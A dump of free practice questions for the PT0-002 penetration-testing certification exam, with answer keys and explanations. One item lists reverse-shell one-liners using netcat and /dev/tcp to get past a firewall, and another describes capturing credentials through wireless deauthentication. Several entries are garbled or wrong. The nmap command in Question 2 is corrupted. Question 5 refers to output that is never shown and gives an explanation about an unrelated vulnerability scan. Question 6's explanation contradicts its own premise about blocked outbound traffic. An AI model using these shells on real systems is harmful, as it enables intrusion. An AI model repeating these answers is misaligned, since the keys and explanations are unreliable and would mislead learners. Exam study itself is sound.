Free Questions for PT0-002

Shared by Noble on 06-06-2022

For More Free Questions and Preparation Resources

Check the Links on Last Page

Question 1

Question Type: MultipleChoice

A penetration tester is conducting an assessment on a web application. Which of the following active reconnaissance techniques would be best for the tester to use to gather additional information about the application?

Options:

A- Using cURL with the verbose option

B- Crawling UR Is using an interception proxy

C- Using Scapy for crafted requests

D- Crawling URIs using a web browser

Answer:

B

Explanation:

Crawling URIs using an interception proxy is the best active reconnaissance technique for gathering additional information about a web application. An interception proxy, such as Burp Suite or OWASP ZAP, allows the penetration tester to see and manipulate the requests and responses between the client and the server, providing detailed insights into the application's behavior, structure, and vulnerabilities. This technique is more comprehensive and controlled compared to using cURL or a web browser.

OWASP Testing Guide: Web Application Security Testing

Burp Suite Documentation

OWASP ZAP User Guide

Question 2

Question Type: MultipleChoice

While performing the scanning phase of a penetration test, the penetration tester runs the following command:

```
........v -sV -p- 10.10.10.23-28
```

....ip scan is finished, the penetration tester notices all hosts seem to be down. Which of the following options should the penetration tester try next?

Options:

A- -su
B- -pn
C- -sn
D- -ss

Answer:

B

Explanation:

The command nmap -v -sV -p- 10.10.10.23-28 is a command that performs a port scan using nmap, which is a tool that can perform network scanning and enumeration by sending packets to hosts and analyzing their responses1. The command has the following options:

-v enables verbose mode, which increases the amount of information displayed by nmap

-sV enables version detection, which attempts to determine the version and service of the open ports

-p- specifies that all ports from 1 to 65535 should be scanned

10.10.10.23-28 specifies the range of IP addresses to be scanned The command does not have any option for host discovery, which is a process that determines which hosts are alive or reachable on a network by sending probes such as ICMP echo requests, TCP SYN packets, or ACK packets. Host discovery can help speed up the scan by avoiding scanning hosts that are down or do not respond. However, some hosts may be configured to block or ignore host discovery probes, which can cause nmap to report them as down even if they are up. To avoid this problem, the penetration tester should use the -Pn option, which skips host discovery and assumes that all hosts are up. This option can force nmap to scan all hosts regardless of their response to host discovery probes, and may reveal some hosts that were previously missed. The other options are not valid options that the penetration tester should try next. The -su option does not exist in nmap, and would cause an error. The -sn option performs a ping scan and lists hosts that respond, but it does not scan any ports or services, which is not useful for the penetration test. The -ss option does not exist in nmap, and would cause an error.

Question 3

Question Type: MultipleChoice

A penetration tester uncovers access keys within an organization's source code management solution. Which of the following would BEST address the issue? (Choose two.)

Options:

A- Setting up a secret management solution for all items in the source code management system

B- Implementing role-based access control on the source code management system

C- Configuring multifactor authentication on the source code management system

D- Leveraging a solution to scan for other similar instances in the source code management system

E- Developing a secure software development life cycle process for committing code to the source code management system

F- Creating a trigger that will prevent developers from including passwords in the source code management system

Answer:

A, E

Explanation:

Access keys are credentials that allow users to authenticate and authorize requests to a source code management (SCM) system, such as GitLab or AWS. Access keys should be kept secret and not exposed in plain text within the source code, as this can compromise the security and integrity of the SCM system and its data.

Some possible options for addressing the issue of access keys within an organization's SCM solution are:

Setting up a secret management solution for all items in the SCM system: This is a tool or service that securely stores, manages, and distributes secrets such as access keys, passwords, tokens, certificates, etc.A secret management solution can help prevent secrets from being exposed in plain text within the source code or configuration files3456.

Developing a secure software development life cycle (SDLC) process for committing code to the SCM system: This is a framework or methodology that defines how software is developed, tested, deployed, and maintained. A secure SDLC process can help ensure that best practices for security are followed throughout the software development process, such as code reviews, static analysis tools, vulnerability scanning tools, etc.A secure SDLC process can help detect and prevent access keys from being included in the source code before they are committed to the

SCM system1.

Question 4

Question Type: MultipleChoice

A penetration tester is performing an assessment for an organization and must gather valid user credentials. Which of the following attacks would be best for the tester to use to achieve this objective?

Options:

A- Wardriving
B- Captive portal
C- Deauthentication
D- Impersonation

Answer:

C

Explanation:

* Deauthentication attacks can force legitimate users to disconnect from a wireless network, prompting them to reconnect and, in the process, capture valid user credentials using a rogue access point or network monitoring tools.

* Details:

A . Wardriving: Involves driving around to discover wireless networks; it does not directly gather user credentials.

B . Captive portal: Requires users to log in but is not an attack method; it is a legitimate method to control network access.

C . Deauthentication: Forces users to reauthenticate, allowing an attacker to capture credentials during the reconnection process.

D . Impersonation: Involves pretending to be someone else to gain access but is less effective for directly capturing user credentials compared to deauthentication.

* Reference: Deauthentication attacks are well-documented in wireless security assessments and penetration testing guides.

Question 5

Question Type: MultipleChoice

After running the enum4linux.pl command, a penetration tester received the following output: Which of the following commands should the penetration tester run NEXT?

Options:

A- smbspool //192.160.100.56/print$

B- net rpc share -S 192.168.100.56 -U ''

C- smbget //192.168.100.56/web -U ''

D- smbclient //192.168.100.56/web -U '' -N

Answer:

D

Explanation:

A vulnerability scan is a type of assessment that helps to identify vulnerabilities in a network or system. It scans systems for potential vulnerabilities, misconfigurations, and outdated software. Based on the output from a vulnerability scan, a penetration tester can identify vulnerabilities that may be exploited to gain access to a system. In this scenario, the output from the penetration testing tool shows that 100 hosts contained findings due to improper patch management. This indicates that the vulnerability scan detected vulnerabilities that could have been prevented through proper patch management. Therefore, the most likely test performed by the penetration tester is a vulnerability scan.

Question 6

Question Type: MultipleChoice

After compromising a remote host, a penetration tester is able to obtain a web shell. A firewall is blocking outbound traffic. Which of the following commands would allow the penetration tester to obtain an interactive shell on the remote host?

Options:

A- bash -i >& /dev/tcp 8443 0>&l

B- nc -e host 8443 /bin/bash

C- nc -vlp 8443 /bin/bash

D- nc -vp 8443 /bin/bash

Answer:

B

Explanation:

When a firewall is blocking outbound traffic, a penetration tester can attempt to use a reverse shell to obtain an interactive shell on the remote host. The command nc -e host 8443 /bin/bash uses Netcat to create a reverse shell, connecting back to the attacker's machine on port 8443 and executing /bin/bash.

This command assumes that outbound traffic is allowed on the specified port (8443) and that Netcat is available on the target system. It effectively bypasses the firewall's restrictions by initiating the connection from the inside.

Explanation of reverse shell techniques: Pentestmonkey Reverse Shell Cheat Sheet

Practical examples from penetration testing scenarios: Horizontall.

Question 7

Question Type: MultipleChoice

A penetration tester received a .pcap file to look for credentials to use in an engagement.

Which of the following tools should the tester utilize to open and read the .pcap file?

Options:

A- Nmap

B- Wireshark

C- Metasploit

D- Netcat

Answer:

B

Question 8

Question Type: MultipleChoice

An organization's Chief Information Security Officer debates the validity of a critical finding from a penetration assessment that was completed six months ago. Which of the following post-report delivery activities would have most likely prevented this scenario?

Options:

A- Client acceptance

B- Data destruction process

C- Attestation of findings

D- Lessons learned

Answer:

A

Explanation:

Client acceptance (A) is a critical post-report delivery activity that involves the client formally accepting the findings and conclusions of a penetration assessment report. This process usually includes a review of the findings by the client, discussions about the impact, and agreement on the accuracy and relevance of the reported vulnerabilities and issues. Ensuring client acceptance soon after the delivery of the report can prevent scenarios where the validity of findings is debated long after the assessment, as in the case described.

Data destruction process (B), attestation of findings (C), and lessons learned (D) are also important aspects of a penetration testing engagement, but they do not directly address the issue of the client disputing the findings well after the report has been delivered. Client acceptance ensures both parties are in agreement on the outcomes of the assessment, minimizing disputes about the findings later on.

Question 9

Question Type: MultipleChoice

Which of the following best explains why communication is a vital phase of a penetration test?

Options:

A- To discuss situational awareness

B- To build rapport with the emergency contact

C- To explain the data destruction process

D- To ensure the likelihood of future assessments

Answer:

A

Explanation:

Communication is a vital phase of a penetration test to ensure all parties involved are aware of the test's progress, findings, and any potential impact on business operations. Discussing situational awareness involves sharing real-time insights about the security posture, any vulnerabilities found, and potential risks. This enables the organization to make informed decisions, mitigate risks promptly, and ensure the test aligns with business objectives and constraints.